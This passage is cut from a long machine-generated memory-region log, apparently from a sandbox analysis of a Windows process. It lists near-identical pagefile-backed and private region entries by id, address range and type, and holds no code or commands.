end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14092 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14093 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14094 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14095 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14096 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14097 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14098 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14099 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14100 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14101 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 14102 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 14103 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 14104 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14105 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14106 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14107 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14108 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14109 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14110 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14111 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14112 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14113 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14114 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14115 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14116 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14117 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14118 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14119 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14120 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14121 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14122 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14123 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14124 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14125 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14126 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14127 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14128 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14129 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14130 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14131 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14132 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14133 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14134 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14135 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14136 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14137 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14138 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14139 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14140 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14141 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14142 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14143 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14144 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14145 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14146 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14147 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14148 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14149 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14150 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14151 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14152 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14153 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14154 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14155 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14156 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14157 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14158 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14159 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14160 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14161 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14162 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14163 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14164 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14165 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14166 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14167 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14168 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14169 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14170 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14171 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14172 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14173 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14174 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14175 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14176 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14177 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14178 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14179 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14180 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14181 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14182 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14183 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14184 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14185 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14186 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14187 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14188 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14189 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14190 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14191 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14192 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14193 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14194 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14195 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14196 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14197 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14198 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14199 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14200 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14201 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14202 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14203 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14204 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14205 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14206 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14207 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14208 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14209 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14210 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 14211 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 14212 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 14213 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14214 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14215 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14216 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14217 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14218 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14219 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14220 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14221 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14222 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14223 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14224 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14225 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14226 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14227 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14228 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14229 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14230 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14231 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14232 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14233 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14234 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14235 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14236 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14237 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14238 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14239 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14240 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14241 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14242 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14243 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14244 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14245 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14246 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14250 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14251 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14252 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14253 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14254 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14255 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14256 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14257 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14258 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14259 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14260 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14261 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14262 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14263 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14264 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14265 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14266 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14267 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14268 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14269 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14270 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14271 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14272 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 14273 start_va 